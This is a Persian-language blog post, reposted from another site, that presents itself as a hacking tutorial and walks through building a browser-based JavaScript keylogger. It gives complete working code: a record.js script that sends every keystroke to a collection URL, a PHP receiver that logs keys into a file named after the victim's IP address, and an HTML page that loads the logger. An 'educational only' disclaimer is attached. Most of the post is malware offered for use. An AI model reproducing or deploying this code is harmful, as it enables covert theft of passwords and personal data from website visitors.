ش | ی | د | س | چ | پ | ج |
1 | 2 | 3 | 4 | |||
5 | 6 | 7 | 8 | 9 | 10 | 11 |
12 | 13 | 14 | 15 | 16 | 17 | 18 |
19 | 20 | 21 | 22 | 23 | 24 | 25 |
26 | 27 | 28 | 29 | 30 | 31 |
با سلام
خوب دیکه الان وقته اینه ک اموزش هک هم آغاز کنیم
برید به ادامه مطلب
به نقل از پی سی ول
آموزش ساخت Javascript Keylogger » با سلام برای این ساعت از سایت پی سی ول
براتون آموزشی تهیه کردم که میدونم همه علاقه شدیدی به این دسته آموزشها
دارند
برای این ساعت آموزش ساخت کی لاگر Keylogger تحت وب به زبان Javascript آماده کردم که امیدوارم مورد استقبال قرار بگیره
طرز کار کی لاگر :
این key-logger تمام دکمه هایی که یک کاربر حین ورود به یک سایت را میزنه
را داخل یک فایل TXT ذخیره میکنه و این keylogger کاملا تحت وب هست و تا
زمانی که سایت آلوده باز باشد کلیه کلیدهای زده شده از صفحه کلید توسط
قربانی برای صاحب کی لاگر ذخیره میشود
توجه !
این مطلب فقط جنبه آموزشی دارد و مسـئــولیت استفاده از آن بر عهده استفاده
کنندگان می باشد و پی سی ول هیچ مسئـــولیتی را قبول نمیکند
این آموزش فقط برای این تهیه شده که وبمستران در جریان باشند که افراد
سودجو از هر روشی برای سوء استفاده از اطلاعات شخصی استفاده می کنند
روش ساخت در چند قدم به ترتیب :
1. یک فایل TEXT ساخته و نام آن را به record.js تغییر میدهیم و داخل آن متن زیر را کپی مینماییم :
ضمنا مقدار http://site.com/record را به سایت خود تغییر میدهیم
function behavior(event)
{
var keya = "";
keya = event.keyCode;
keyb = String.fromCharCode(keya);
makeRequest('http://site.com/record/write.php?on=' + keyb);
}
function makeRequest(url)
{
var httpRequest;
if (window.XMLHttpRequest)
{ // Mozilla, Safari
httpRequest = new XMLHttpRequest();
if (httpRequest.overrideMimeType) {
httpRequest.overrideMimeType('text/xml');
}
}
else if (window.ActiveXObject)
{ // IE
try
{
httpRequest = new ActiveXObject("Msxml2.XMLHTTP");
}
catch (e) {
try {
httpRequest = new ActiveXObject("Microsoft.XMLHTTP");
}
catch (e) {}
}
}
if (!httpRequest)
{
return false;
}
httpRequest.onreadystatechange = function() { alertContents(httpRequest); };
httpRequest.open('GET', url, true);
httpRequest.send(null);
}
function alertContents(httpRequest)
{
if (httpRequest.readyState == 4) {
if (httpRequest.status == 200) {
}
else
{
}
}
}
<?php
$_GET['on'];
$file = fopen($_SERVER['REMOTE_ADDR'] . ".txt","a");
fwrite($file,$_GET['on'] . '||');
fclose($file);
?>
<html>
<head>
<SCRIPT language="javascript" SRC="record.js"></SCRIPT>
</head>
<body onkeyup="behavior(event)">
Page Content
</body>
</html>